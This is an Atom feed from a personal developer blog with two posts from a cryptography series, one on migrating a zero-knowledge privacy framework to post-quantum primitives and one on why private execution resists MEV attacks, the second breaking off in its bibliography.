<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Skill Issue Dev | Dax the Dev</title>
  <subtitle>I&apos;m a Nuclear Engineer turned Software Engineer. I&apos;m passionate about learning and sharing my knowledge with others. I&apos;m currently working on a few projects and I&apos;m always looking for new opportunities to learn and grow.</subtitle>
  <id>https://blog.skill-issue.dev/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/"/>
  <link rel="self" type="application/atom+xml" href="https://blog.skill-issue.dev/atom.xml"/>
  <updated>2026-05-16T15:00:00.000Z</updated>
  <author><name>Dax the Dev</name><email>dax@skill-issue.dev</email></author>
  <generator>Astro</generator>
  <icon>https://blog.skill-issue.dev/favicon.svg</icon>
  <entry>
  <title type="html"><![CDATA[The post-quantum migration path: lattice commitments, STARK wrapping, isogeny credentials]]></title>
  <id>https://blog.skill-issue.dev/blog/post_quantum_relayerless_path/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/post_quantum_relayerless_path/"/>
  <published>2026-05-16T15:00:00.000Z</published>
  <updated>2026-05-16T15:00:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="zk"/>
  <category term="post-quantum"/>
  <category term="lattice"/>
  <category term="stark"/>
  <category term="csidh"/>
  <category term="sqisign"/>
  <category term="phd"/>
  <summary type="html"><![CDATA[Series finale. Shor's algorithm breaks every elliptic-curve assumption F_RP currently rests on. The migration: lattice polynomial commitments (Brakedown/Orion), hash-based STARKs as universal backend, isogeny group actions for credentials.]]></summary>
  <content type="html"><![CDATA[<p>import { Mermaid, TradeoffTable, Aside, Quote } from &quot;@/components/mdx&quot;;</p>
<p>The whole F_RP framework, as written today, is <strong>completely broken by Shor&#39;s algorithm</strong>. Every elliptic-curve assumption the construction rests on — DLOG on Curve25519, q-PKE on BN254, q-DLOG on the Pasta cycle — falls in polynomial time on a sufficiently large fault-tolerant quantum computer. Pedersen commitments lose binding. Groth16 loses soundness. Ed25519 signatures lose unforgeability. The entire stack is a pre-quantum house.</p>
<p>Today this is fine. NIST estimates a cryptographically-relevant quantum computer is still 10-20 years away. But &quot;we&#39;ll fix it later&quot; is exactly how we got into the SHA-1 / RSA-1024 / DES situation. The right time to design the migration path is <strong>before</strong> there&#39;s a deadline.</p>
<p>This is post 11 of 11 in the <a href="/series/relayerless-privacy">relayerless-privacy</a> series — the finale.</p>
<Aside kind="note">
This post is more speculative than the previous ten. The constructions that survive a quantum adversary are still being benchmarked and standardised. What's *certain* is that any post-quantum F_RP loses the 128-byte Groth16 proof and the ~150K CU verification cost. What's *uncertain* is exactly how much we lose.
</Aside>

<h2>What Shor breaks, in one paragraph</h2>
<p>Shor&#39;s algorithm gives a quantum polynomial-time reduction from integer factoring and discrete log to period-finding. RSA, classical Diffie-Hellman, DSA, ECDSA, Ed25519, Schnorr signatures, BLS signatures, Pedersen commitments, Pairings — every cryptographic primitive that relies on the hardness of DLOG or factoring is compromised.</p>
<p>For F_RP specifically, the four broken pieces:</p>
<ol>
<li><strong>Groth16 over BN254.</strong> q-PKE / q-DLOG → polynomial-time forgery.</li>
<li><strong>Pedersen commitments over BN254.</strong> DLOG → binding broken; commitments become equivocable.</li>
<li><strong>Ed25519 signatures.</strong> DLOG → forgery, including FROST threshold variants.</li>
<li><strong>CSIDH and other classical isogeny constructions.</strong> Kuperberg&#39;s quantum sub-exponential algorithm threatens them more aggressively than classical attacks.</li>
</ol>
<p>Hash-based primitives survive: SHA-2, SHA-3, Keccak, Poseidon (modulo round-by-round cryptanalysis). FRI / STARK proofs survive because they only depend on hash collision resistance, not on any algebraic structure. Lattice-based primitives (Module-LWE, Module-SIS) survive under best-known quantum attacks.</p>
<h2>The replacement stack</h2>
<table>
<thead>
<tr>
<th>Pre-quantum component</th>
<th>Broken by Shor</th>
<th>Post-quantum replacement</th>
<th>Cost</th>
</tr>
</thead>
<tbody><tr>
<td>Groth16 (BN254)</td>
<td>Yes</td>
<td>STARK (FRI) inner + lattice-SNARK outer</td>
<td>5-20 KB proof; ~300K CU</td>
</tr>
<tr>
<td>Pedersen (BN254 𝔾_1)</td>
<td>Yes</td>
<td>Lattice (Module-LWE) commitment</td>
<td>4-50 KB</td>
</tr>
<tr>
<td>Ed25519 + FROST</td>
<td>Yes</td>
<td>SQIsign / lattice signatures</td>
<td>200-2000 B sig</td>
</tr>
<tr>
<td>KZG (BN254 pairing)</td>
<td>Yes</td>
<td>FRI or Brakedown / Orion</td>
<td>O(log²n) hashes</td>
</tr>
<tr>
<td>Poseidon hash</td>
<td>No (classical and quantum CR)</td>
<td>Same; possibly Anemoi</td>
<td>unchanged</td>
</tr>
</tbody></table>
<p>Post-quantum F_RP is <strong>5-20 KB per proof</strong> instead of 128 bytes, <strong>~300K CU on-chain</strong> instead of <del>150K, and **</del>5 KB per signature** instead of 64 bytes. The framework still works; the costs grow ~50-100× on every dimension.</p>
<h2>Lattice-based polynomial commitments</h2>
<p>The replacement for KZG is a polynomial commitment based on Module-LWE / Module-SIS. Two leading candidates:</p>
<h3>Brakedown (Golovnev, Lee, Setty, Thaler, Wahby — CRYPTO 2023)</h3>
<p>Linear-time SNARK based on linear-code polynomial commitments. The prover commits to multilinear polynomials using a linear-time encodable error-correcting code, combined with the Spartan polynomial IOP.</p>
<ul>
<li>Prover: <code>O(N)</code> field operations for <code>N</code>-sized R1CS.</li>
<li>Proof size: ~1.5 MB for <code>2^20</code> multiplication gates (before code-switching compression).</li>
<li>Verification: linear in proof size.</li>
<li>No trusted setup.</li>
<li>Plausibly post-quantum secure (security from collision-resistant hashing + linear-code distance).</li>
</ul>
<p>The <strong><code>O(√N)</code></strong> base proof size is the killer for Solana — even the 4,096-byte SIMD-0296 limit isn&#39;t enough for a raw Brakedown proof on a meaningful circuit.</p>
<h3>Orion (Xie, Zhang, Song — CRYPTO 2022)</h3>
<p><code>O(N)</code> prover time with <code>O(log²N)</code> proof size via <strong>code-switching composition</strong>. The code-switching mechanism reduces proof size from <code>O(√N)</code> to polylogarithmic by proving that the witness of a secondary zero-knowledge argument coincides with the message in a linear code.</p>
<p>Numbers are still rough — ~10 KB proof for <code>2^20</code> constraints — but the trajectory is right. Orion is the most promising candidate for direct on-chain verification on Solana under SIMD-0296.</p>
<h3>Open problem 7.1 — lattice commitment size</h3>
<p>Current lattice-based commitments produce opening proofs of size <code>O(k · d · log q)</code> bits, yielding 4-50 KB concretely. Determine tight lower bounds for 128-bit post-quantum security; characterise the feasibility space within Solana&#39;s tx limit.</p>
<h2>Hash-based STARKs as universal backend</h2>
<p>STARKs are already post-quantum (security from collision-resistant hashing only). The migration is simpler in shape but more expensive in proof size:</p>
<ul>
<li><strong>FRI over Goldilocks field</strong> ($p = 2^{64} - 2^{32} + 1$): efficient NTT, native to 64-bit hardware. Plonky3 uses this.</li>
<li><strong>FRI over M31 (Mersenne-31)</strong>: SIMD-optimised arithmetic. StarkWare&#39;s Circle STARK construction uses M31.</li>
</ul>
<p>Proof size scaling: <code>O(λ · log²N)</code>. For <code>2^20</code> steps at 128-bit security, ~50-200 KB per proof.</p>
<p>A <strong><code>400×</code>-<code>1600×</code> blowup</strong> vs. Groth16&#39;s 128 bytes. Way over Solana&#39;s transaction limit. Three deployment paths:</p>
<h3>Path 1: STARK-in-Lattice-SNARK (Open Problem 7.2)</h3>
<p>Wrap the STARK verifier circuit inside a lattice-based SNARK to recover succinct on-chain verification. The STARK verifier circuit is <code>O(log²N)</code> hash evaluations + field operations. With Poseidon (<del>250 R1CS constraints per hash), <code>2^20</code>-step verification is `</del>100K` constraints.</p>
<p>Recursive composition:</p>
<p>$$
\pi_{\mathrm{outer}} ;=; \mathsf{Prove}<em>{\mathrm{Lattice}}\bigl(,\mathsf{Verify}</em>{\mathrm{STARK}}(\pi_{\mathrm{inner}}) = 1,\bigr).
$$</p>
<p>Estimated proof size: ~5-20 KB. <strong>Marginal fit for SIMD-0296</strong> (4,096-byte transactions). Open whether the lattice outer is small enough.</p>
<h3>Path 2: STARK aggregation (STARKPack)</h3>
<p>Aggregate <code>n</code> STARK proofs into a single argument that&#39;s $(1 + 1/n)$× the size of a single proof, with <code>~2×</code> faster verification.</p>
<table>
<thead>
<tr>
<th>n packed</th>
<th>Aggregated size</th>
<th>Per-proof verify CU</th>
</tr>
</thead>
<tbody><tr>
<td>1</td>
<td>~100 KB</td>
<td>500K</td>
</tr>
<tr>
<td>10</td>
<td>~110 KB</td>
<td>50K/proof</td>
</tr>
<tr>
<td>100</td>
<td>~120 KB</td>
<td>5K/proof</td>
</tr>
</tbody></table>
<p>Doesn&#39;t help individual transactions (still 100 KB per submission) but amortises validator-side cost dramatically.</p>
<h3>Path 3: Off-chain STARK with on-chain commitment</h3>
<p>The most pragmatic near-term path. Publish the full STARK proof to a data-availability layer (Solana ledger via call-data, or a separate DA chain). On-chain verify only a 32-byte hash commitment. Add a challenge period where any observer can verify the off-chain proof and dispute on-chain if it&#39;s invalid.</p>
<table>
<thead>
<tr>
<th>Configuration</th>
<th>Proof size</th>
<th>Verify CU</th>
<th>PQ</th>
<th>Fits tx?</th>
</tr>
</thead>
<tbody><tr>
<td>Groth16 (current)</td>
<td>128 B</td>
<td>~100K</td>
<td>No</td>
<td>Yes</td>
</tr>
<tr>
<td>Raw STARK</td>
<td>~100 KB</td>
<td>~500K</td>
<td>Yes</td>
<td>No</td>
</tr>
<tr>
<td>STARK + aggregation (n=10)</td>
<td>~110 KB total</td>
<td>~50K/proof</td>
<td>Yes</td>
<td>No (on-chain)</td>
</tr>
<tr>
<td>STARK → Lattice-SNARK wrap</td>
<td>~5-20 KB est</td>
<td>~300K est</td>
<td>Yes</td>
<td>Marginal (SIMD-0296)</td>
</tr>
<tr>
<td>Off-chain STARK + on-chain hash</td>
<td>32 B hash</td>
<td>~10K</td>
<td>Yes^*</td>
<td>Yes</td>
</tr>
</tbody></table>
<p><code>^*</code> Requires off-chain proof availability + honest-verifier assumption for retrieval.</p>
<h2>Isogeny-based group actions for credentials</h2>
<p>For applications needing <strong>anonymous identity binding</strong> — compliance-compatible privacy, selective disclosure, &quot;prove balance ≥ threshold without revealing balance&quot; — isogeny-based cryptography offers post-quantum group actions that can replace DLOG-based constructions.</p>
<h3>CSIDH-based ring signatures</h3>
<p>CSIDH defines a commutative group action <code>★: Cl(O) × E(F_p) → E(F_p)</code> between the ideal class group of an imaginary quadratic order and the set of supersingular elliptic curves over <code>F_p</code>. This group action instantiates Sigma protocols for &quot;knowledge of an isogeny&quot;, which yields ring signatures via Fiat-Shamir.</p>
<p><strong>Current status (cautious):</strong> CSIDH at NIST-1 security needs <code>p ≈ 2^512</code>, key sizes <del>64 B, computation ~50-100 ms. <strong>Quantum security analysis (Bonnetain-Schrottenloher, Peikert) shows Kuperberg&#39;s quantum sub-exponential algorithm threatens CSIDH more aggressively than classical attacks</strong> — proposed 128-bit classical / 64-bit quantum parameters can be broken in `</del>2^35<code>quantum key-exchange evaluations, not</code>~2^62`.</p>
<p>So CSIDH at the 128-bit level is <strong>not</strong> secure at the originally advertised parameters. Larger parameters (<code>p ≈ 2^4096+</code>) restore the security but balloon costs.</p>
<h3>SQIsign</h3>
<p><strong>SQIsign</strong> (De Feo, Kohel, Leroux, Petit, Wesolowski — NIST Round 2) offers compact post-quantum signatures (<strong>204 bytes</strong>) from quaternion isogeny problems. Signing time ~100 ms.</p>
<p>Verification is computationally expensive (~100 ms), which makes it impractical for direct on-chain verification on Solana — a single SQIsign verification would consume the entire 1.4M CU budget.</p>
<h3>Open problem 7.3 — isogeny anonymous credentials</h3>
<p>Design an anonymous credential scheme based on supersingular isogeny group actions that:</p>
<ol>
<li>Supports selective attribute disclosure.</li>
<li>Has verification time &lt; 10 ms (compatible with blockchain block times).</li>
<li>Achieves 128-bit post-quantum security with concrete parameter justification.</li>
<li>Is compatible with the SPST note model (credentials bound to note commitments).</li>
</ol>
<p>This is wide open. The most promising shape is a <strong>hybrid architecture</strong>: isogeny-based credentials for identity binding, composed with STARK proofs for the transactional privacy layer.</p>
<h2>What survives without modification</h2>
<p>Two pieces of F_RP carry over unchanged into the post-quantum world:</p>
<ol>
<li><strong>Poseidon Merkle trees.</strong> Hash-based, no algebraic structure assumption beyond collision resistance.</li>
<li><strong>Indexed Merkle Trees</strong> for nullifier non-membership. Same hashes, same structure, same constraints.</li>
</ol>
<p>So the <em>state</em> layer of F_RP doesn&#39;t need to change. Only the <em>proof</em> and <em>signature</em> layers.</p>
<h2>Migration timeline (rough)</h2>
<table>
<thead>
<tr>
<th>Year</th>
<th>Milestone</th>
</tr>
</thead>
<tbody><tr>
<td>2026-2028</td>
<td>F_RP v1: Groth16 + BN254 + Ed25519. Production deployment.</td>
</tr>
<tr>
<td>2028-2030</td>
<td>NIST PQC standardisation completes. ML-DSA / SLH-DSA / Falcon shipped.</td>
</tr>
<tr>
<td>2030-2032</td>
<td>Solana adds PQ syscalls (NIST-recommended). F_RP v2 design starts.</td>
</tr>
<tr>
<td>2032-2035</td>
<td>F_RP v2 ships: hybrid pre-quantum + post-quantum proofs. Both verify.</td>
</tr>
<tr>
<td>2035-2040</td>
<td>F_RP v3: pure post-quantum. Pre-quantum support deprecated.</td>
</tr>
</tbody></table>
<p>This timeline is contingent on (a) NIST shipping PQC standards on schedule, (b) Solana adopting the syscalls within ~2 years of standardisation, and (c) lattice-based polynomial commitments achieving sub-10 KB proof sizes. None of these are certain. All three look likely.</p>
<h2>What would have to change in F_RP itself</h2>
<p>The protocol design is mostly insulated. Specifically:</p>
<ol>
<li><strong>The note model is unchanged.</strong> Notes, commitments, nullifiers, Merkle trees — all hash-based.</li>
<li><strong>The five-tuple <code>(Setup, Deploy, Invoke, Verify, Finalize)</code> is unchanged.</strong> Just the proof system inside <code>Invoke</code>/<code>Verify</code> swaps out.</li>
<li><strong>The simulation-based privacy theorem (3.12) survives.</strong> The hybrid argument&#39;s transitions are: ZK of proof system, pseudorandomness of hash, pseudorandomness of PRF, CCA2 of encryption. The ZK / PRF / CCA2 each get a post-quantum-secure replacement; the structure of the proof is the same.</li>
<li><strong>The self-sovereignty theorem (3.13) survives unchanged.</strong> It only depends on chain liveness and proof system completeness.</li>
</ol>
<p>What changes: byte sizes, CU costs, prover times. The math survives. That&#39;s a lucky property of having designed F_RP around the abstract <code>Π_hybrid</code> rather than committing to Groth16 in the relations.</p>
<h2>Why this isn&#39;t urgent (today)</h2>
<p>It&#39;s worth ending the series with the honest answer to &quot;should I be worried right now?&quot;:</p>
<p>No. Not in 2026, not in 2028. A cryptographically-relevant quantum computer is plausibly a decade-plus away. The harvest-now-decrypt-later threat applies to confidentiality (encrypted communications today, decrypted later when QC arrives) — but most F_RP outputs are <em>commitments and nullifiers</em>, not encrypted plaintexts. The information-theoretic content of an old shielded transaction is bounded; an adversary who breaks it in 2040 learns transaction graph structure that&#39;s no longer interesting.</p>
<p>What does need attention: <strong>building the migration path now</strong> so that when the day comes, F_RP isn&#39;t a 2-year rewrite project. That&#39;s what this post is for.</p>
<h2>Closing the series</h2>
<p>Eleven posts:</p>
<ol>
<li><a href="/blog/relayerless_privacy_intro/">Series intro</a> — the F_RP framework and the five games.</li>
<li><a href="/blog/the_fee_paradox/">The fee paradox</a> — why every smart-contract privacy protocol needs a relayer.</li>
<li><a href="/blog/spst_self_paying_shielded_transactions/">SPST</a> — self-paying shielded transactions, four security theorems.</li>
<li><a href="/blog/ppst_private_programmable_state/">PPST</a> — private programmable state via R1CS embedding.</li>
<li><a href="/blog/tab_threshold_anonymous_broadcast/">TAB</a> — submitter anonymity via ring sigs and FROST.</li>
<li><a href="/blog/verifiable_shuffles_for_privacy/">Verifiable shuffles</a> — Bayer-Groth network-layer mixing.</li>
<li><a href="/blog/upee_universal_private_execution/">UPEE</a> — composing the framework, the simulation-based privacy and self-sovereignty theorems.</li>
<li><a href="/blog/solana_instantiation_656_bytes/">Solana instantiation</a> — concrete numbers: 656 bytes, 235K CU.</li>
<li><a href="/blog/f_rp_vs_existing_privacy_systems/">F_RP vs the rest</a> — comparison with nine deployed privacy systems.</li>
<li><a href="/blog/mev_resistance_in_private_execution/">MEV resistance</a> — sandwich-proof by construction; Theorem 7.4.</li>
<li><a href="/blog/post_quantum_relayerless_path/">Post-quantum migration</a> — the future-proofing plan you just read.</li>
</ol>
<p>The full preprint will land at <code>/papers/relayerless-privacy/</code> once typeset. Until then the series is the canonical reference. If you want to discuss any of it, <a href="https://cal.com/daxts">book a call</a> or open an issue on <code>Dax911/zera-sdk</code>.</p>
<p>Thanks for reading.</p>
<h2>Bibliography</h2>
<ul>
<li>Shor, P. W. (1997). <em>Polynomial-Time Algorithms for Prime Factorization and Discrete Logarithms on a Quantum Computer.</em> SIAM Journal on Computing.</li>
<li>Golovnev, A., Lee, J., Setty, S., Thaler, J., Wahby, R. (2023). <em>Brakedown.</em> CRYPTO 2023.</li>
<li>Xie, T., Zhang, Y., Song, D. (2022). <em>Orion.</em> CRYPTO 2022.</li>
<li>Ben-Sasson, E. et al. (2018). <em>STARKs.</em> <a href="https://eprint.iacr.org/2018/046">https://eprint.iacr.org/2018/046</a></li>
<li>De Feo, L., Kohel, D., Leroux, A., Petit, C., Wesolowski, B. (2020). <em>SQIsign.</em> ASIACRYPT 2020. <a href="https://eprint.iacr.org/2020/1240">https://eprint.iacr.org/2020/1240</a></li>
<li>Castryck, W. et al. (2018). <em>CSIDH.</em> ASIACRYPT 2018. <a href="https://eprint.iacr.org/2018/383">https://eprint.iacr.org/2018/383</a></li>
<li>Bonnetain, X., Schrottenloher, A. (2018). <em>Quantum Security Analysis of CSIDH.</em></li>
<li>Peikert, C. (2020). <em>He gives C-sieves on the CSIDH.</em></li>
<li>NIST PQC Round 4 — <em>Post-Quantum Cryptography Standardization.</em></li>
</ul>
<p>Previous: <a href="/blog/mev_resistance_in_private_execution/">MEV resistance ←</a> · Series: <a href="/blog/relayerless_privacy_intro/">back to start</a></p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[MEV resistance: why UPEE is sandwich-proof by construction]]></title>
  <id>https://blog.skill-issue.dev/blog/mev_resistance_in_private_execution/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/mev_resistance_in_private_execution/"/>
  <published>2026-05-14T15:00:00.000Z</published>
  <updated>2026-05-14T15:00:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="zk"/>
  <category term="mev"/>
  <category term="flashbots"/>
  <category term="mempool"/>
  <category term="privacy"/>
  <category term="phd"/>
  <summary type="html"><![CDATA[Theorem 7.3 — UPEE transactions resist sandwich/frontrun/liquidation MEV by construction. Theorem 7.4 — block MEV bounded by public-bit leakage, not transaction value. Independent of V, not super-linear.]]></summary>
  <content type="html"><![CDATA[<p>import { Mermaid, TradeoffTable, Aside, Quote } from &quot;@/components/mdx&quot;;</p>
<p>MEV is the second-order tax on public DeFi. Searchers monitor the mempool, see your swap before it confirms, and front-run / back-run / sandwich it for profit. On Ethereum L1 in 2024-2025, MEV extracted from retail users approached <strong>$700M/year</strong> — straight value transfer from end users to searchers and validators.</p>
<p>UPEE eliminates the dominant classes of MEV by construction. This post derives why, and quantifies what&#39;s left.</p>
<p>This is post 10 of 11 in the <a href="/series/relayerless-privacy">relayerless-privacy</a> series.</p>
<Aside kind="note">
The MEV-resistance argument is a side effect of simulation-based privacy (Theorem 3.12). If the adversary can't see the transaction's contents, they can't extract value from those contents. The interesting question is what *is* visible — and that's the residual MEV bound.
</Aside>

<h2>What MEV is, formally</h2>
<p><strong>Definition.</strong> Let <code>B = (tx_1, ..., tx_n)</code> be a block of transactions, <code>σ_0</code> the pre-block state. The MEV of block <code>B</code> relative to validator <code>V</code> is:</p>
<p>$$
\mathrm{MEV}(B, V) ;=; \max_{\pi \in S_n,\ \mathsf{tx}_{\mathrm{ins}}} \Bigl[,\mathrm{profit}<em>V(\sigma_0, \pi(B) \cup \mathsf{tx}</em>{\mathrm{ins}}) - \mathrm{profit}_V(\sigma_0, B),\Bigr].
$$</p>
<p>The maximum is over (a) all permutations <code>π</code> of the transaction ordering and (b) all sets <code>tx_ins</code> of transactions the validator may insert. <code>profit_V</code> is the validator&#39;s balance change after executing the reordered/augmented block.</p>
<p>Concretely, the four dominant MEV categories:</p>
<table>
<thead>
<tr>
<th>Category</th>
<th>What the adversary needs</th>
<th>Public DeFi cost</th>
</tr>
</thead>
<tbody><tr>
<td><strong>Sandwich</strong></td>
<td>Trade direction + size</td>
<td>$(V^2 / L)$ for a $V$-sized swap, $L$ pool liquidity</td>
</tr>
<tr>
<td><strong>Frontrunning</strong></td>
<td>Transaction content</td>
<td>Up to full tx value</td>
</tr>
<tr>
<td><strong>Backrunning</strong></td>
<td>Observable state change</td>
<td>Bounded by arbitrage opportunity</td>
</tr>
<tr>
<td><strong>Liquidation</strong></td>
<td>Position state</td>
<td>Liquidator&#39;s bonus %</td>
</tr>
</tbody></table>
<h2>Theorem 7.3 — MEV resistance of private transactions</h2>
<p><strong>Statement.</strong> Let <code>tx</code> be a private UPEE transaction. For any PPT adversary <code>A</code> (including a colluding validator):</p>
<p>$$
\Pr[\mathrm{MEV}_A(\mathsf{tx}) &gt; 0] ;\leq; \mathsf{negl}(\lambda)
$$</p>
<p>for sandwich attacks, frontrunning, and liquidation MEV. <strong>Backrunning</strong> is bounded separately by public-output leakage.</p>
<h3>Proof of sandwich resistance</h3>
<p>A sandwich attack requires the adversary to determine the trade direction (buy or sell) and approximate size of the victim&#39;s swap. In UPEE, the transaction content — including the program being invoked, the private inputs, and the state transition — is hidden by the ZK proof.</p>
<p>By Theorem 3.12 (simulation-based privacy), there exists a simulator <code>S</code> that produces a computationally indistinguishable view using only the public outputs <code>({nf_i}, {cm_j}, f, program_id)</code>. <code>S</code> does not receive the trade direction or size:</p>
<p>$$
\bigl|,\Pr[\mathcal{A}(\mathsf{View}_{\mathrm{Real}}) = \mathrm{direction}] - \tfrac{1}{2},\bigr| ;\leq; \mathsf{negl}(\lambda).
$$</p>
<p>Without the direction, a sandwich attack is a coin flip — expected profit zero (the adversary is equally likely to lose as to gain).</p>
<h3>Proof of frontrunning resistance</h3>
<p>Frontrunning requires the adversary to know what the transaction will do <em>before</em> it confirms. In UPEE the transaction content is encrypted within the ZK proof; the adversary sees only the public tuple, which is simulatable without the witness. The adversary has no advantage in predicting the transaction&#39;s effect on state, so frontrunning degenerates to random speculation. ∎</p>
<h3>Proof of liquidation resistance</h3>
<p>Liquidation MEV requires knowing that a specific position has become undercollateralised. In UPEE, position state lives in the private state tree as committed values. The adversary can see <em>that</em> a position exists (via its commitment) but not whether it is liquidatable — that requires opening the commitment, which the ZK proof guarantees they cannot do. ∎</p>
<h3>The backrunning caveat</h3>
<p>Backrunning exploits <strong>observable state changes after the fact</strong>. Even with UPEE, some public state changes leak: a private DEX swap might cause an observable change in a public AMM&#39;s price oracle, and that&#39;s a backrunnable event. The leakage is bounded by the number of bits of public state affected by the transaction.</p>
<p>This is the point of Theorem 7.4.</p>
<h2>Theorem 7.4 — MEV revenue bound</h2>
<p><strong>Statement.</strong> For a block containing <code>n</code> private UPEE transactions, the expected MEV revenue for a validator is bounded by:</p>
<p>$$
\mathbb{E}[\mathrm{MEV}] ;\leq; n \cdot f_{\max} ;+; \ell_{\mathrm{bits}} \cdot v_{\mathrm{bit}}
$$</p>
<p>where:</p>
<ul>
<li><code>f_max = max_i f_i</code> is the maximum public fee — validators trivially &quot;extract&quot; fees, but those are legitimate compensation for inclusion.</li>
<li><code>ℓ_bits = sum |public outputs of tx_i|</code> is total information leakage in bits across the n transactions.</li>
<li><code>v_bit</code> is the maximum economic value per bit of leaked information (application-dependent).</li>
</ul>
<p><strong>Proof.</strong> Each private transaction contributes at most <code>f_i ≤ f_max</code> in direct revenue. Additional MEV requires exploiting information beyond the fee. By Theorem 7.3, the only exploitable info is from public outputs. Each bit of public output conveys at most one bit about private state. The economic value extractable per bit is bounded by the application&#39;s value density — for a DEX trade of value <code>V</code>, one bit of direction info yields expected profit <code>O(√V)</code> due to the square-root law of market impact. Sum over bits and transactions. ∎</p>
<h2>The qualitative shift</h2>
<p>For public DeFi, MEV from a swap of value <code>V</code> scales as <strong><code>O(V^2 / L)</code></strong> for sandwich attacks (super-linear in <code>V</code>).</p>
<p>For UPEE, MEV is bounded by <strong>public-bit leakage × per-bit value</strong>, which is <strong>independent of <code>V</code></strong>.</p>
<p>That&#39;s the shift. MEV no longer scales with transaction value. A user moving $10M through UPEE is not 10× more valuable to an MEV searcher than a user moving $1M — both leak the same number of public bits.</p>
<table>
<thead>
<tr>
<th>Model</th>
<th>Sandwich MEV scaling</th>
<th>Frontrun scaling</th>
</tr>
</thead>
<tbody><tr>
<td>Public DeFi (Uniswap on ETH)</td>
<td>$O(V^2 / L)$</td>
<td>$O(V)$</td>
</tr>
<tr>
<td>UPEE</td>
<td>$O(\ell_{\mathrm{bits}})$ — independent of V</td>
<td>0</td>
</tr>
</tbody></table>
<h2>Public outputs of a UPEE transaction</h2>
<p>Concretely, the public bits leaked per transaction:</p>
<table>
<thead>
<tr>
<th>Output</th>
<th>Bits</th>
<th>Information content</th>
</tr>
</thead>
<tbody><tr>
<td>Nullifiers</td>
<td>256 × n_in</td>
<td>Pseudorandom from the adversary&#39;s view (PRF security)</td>
</tr>
<tr>
<td>Commitments</td>
<td>256 × n_out</td>
<td>Pseudorandom from the adversary&#39;s view (Poseidon hiding)</td>
</tr>
<tr>
<td>Merkle root</td>
<td>256</td>
<td>Public state, doesn&#39;t carry tx-specific info</td>
</tr>
<tr>
<td>Fee</td>
<td>64</td>
<td>Reveals fee tier, ~10 bits effective entropy</td>
</tr>
<tr>
<td>program_id</td>
<td>256</td>
<td>Identifies <em>which</em> program; partial function privacy leak</td>
</tr>
</tbody></table>
<p>Pseudorandom outputs by definition leak nothing about the underlying state. The MEV-relevant leak is the <strong>fee tier</strong> (~10 bits) and the <strong>program_id</strong> (which program executed). For a DEX program, the program_id reveals that <em>some</em> swap happened in <em>that</em> DEX — but not the direction, size, or counterparty.</p>
<h2>What about backrunning a private DEX?</h2>
<p>A private swap might still cause an observable state change in the DEX&#39;s <em>public</em> price oracle. In that case the backrunner observes:</p>
<ul>
<li>A nullifier was consumed (the swap happened).</li>
<li>The price oracle moved by some amount Δp.</li>
</ul>
<p>Δp encodes the trade size. The backrunner can arbitrage based on Δp without knowing who swapped or in which direction.</p>
<p><strong>Mitigation.</strong> Use a batch-auction DEX (Penumbra&#39;s ZSwap is the reference design): aggregate all swaps in a block into a single batch with a uniform clearing price. The price oracle moves once per block, not per trade. Individual trade direction and size remain hidden; only the <em>net</em> batch flow is visible.</p>
<p>This is on the F_RP roadmap as a separate construction (Private Batch Auction, PBA).</p>
<h2>What stays public no matter what</h2>
<p>Three things UPEE can&#39;t hide while still letting validators do their job:</p>
<ol>
<li><strong>The fee <code>f</code>.</strong> Validators need to know <code>f</code> to prioritise inclusion. This is a 64-bit public input.</li>
<li><strong>The fact a transaction occurred.</strong> The validator inserts the nullifier and commitment, both public.</li>
<li><strong>Block timing.</strong> Block-level patterns (transactions per block, time-of-day) leak metadata about overall protocol usage.</li>
</ol>
<p>The first two are inherent to any chain with fees and global state. The third is mitigated by batch-auction DEX design and by encouraging client-side delay sampling on the user side.</p>
<h2>Comparison with Flashbots, MEV-Share, encrypted mempools</h2>
<p>The Ethereum ecosystem has been working on MEV mitigation for years:</p>
<table>
<thead>
<tr>
<th>Approach</th>
<th>Mechanism</th>
<th>What&#39;s hidden</th>
<th>What still leaks</th>
</tr>
</thead>
<tbody><tr>
<td><strong>Flashbots private mempool</strong></td>
<td>Direct submission to builder</td>
<td>Tx contents pre-confirmation</td>
<td>Builder sees + can extract MEV</td>
</tr>
<tr>
<td><strong>MEV-Share</strong></td>
<td>Selective metadata disclosure</td>
<td>User chooses</td>
<td>What user discloses</td>
</tr>
<tr>
<td><strong>Shutter Network</strong></td>
<td>Threshold-encrypted mempool</td>
<td>Tx until block sealed</td>
<td>Tx after seal</td>
</tr>
<tr>
<td><strong>EIP-8105 enshrined encrypted mempool</strong></td>
<td>Protocol-level encryption</td>
<td>Tx during ordering</td>
<td>Some patterns</td>
</tr>
<tr>
<td><strong>UPEE (this work)</strong></td>
<td>ZK-encrypted execution</td>
<td>All inputs/outputs</td>
<td>Fee + program_id + state-change side-effects</td>
</tr>
</tbody></table>
<p>The Ethereum approaches are all about <em>delay</em> — hide the tx until the moment it&#39;s executed, accepting the leak after that. UPEE is structurally different: the tx is <em>never</em> visible in plaintext. Even after execution, the inputs and intermediate state remain encrypted.</p>
<h2>Why this matters for retail</h2>
<p>The user-facing implication: a retail user on UPEE doesn&#39;t pay an MEV tax that scales with their trade size. They pay their explicit fee <code>f</code> and a small bounded leakage cost. For a $1M trade on UPEE, MEV cost is bounded by the same <code>ℓ_bits · v_bit</code> term as a $1k trade.</p>
<p>That&#39;s the point of building this on a smart-contract chain. Public DeFi is great for liquidity but hostile to retail. Private execution restores the property that &quot;I trade because I want to trade&quot;, not &quot;I trade and pay an invisible 30-50bps tax to the searchers between me and the AMM&quot;.</p>
<h2>Open problem 7.5 — tightness</h2>
<p>The bound in Theorem 7.4 is an upper bound. Is it tight? Specifically: construct an adversary that achieves MEV revenue within a constant factor of <code>ℓ_bits · v_bit</code>, or prove the bound can be tightened by structural analysis of SPST/UPEE.</p>
<p>This is open. My intuition is the bound is loose — most public outputs are pseudorandom and don&#39;t carry economic value. But proving it requires careful analysis of the per-application leakage channels, which depends on the application.</p>
<h2>Bibliography</h2>
<ul>
<li>Daian, P., Goldfeder, S., Kell, T. et al. (2019). <em>Flash Boys 2.0: Frontrunning, Transaction Reordering, and Consensus Instability in Decentralized Exchanges.</em> IEEE S&amp;P 2020.</li>
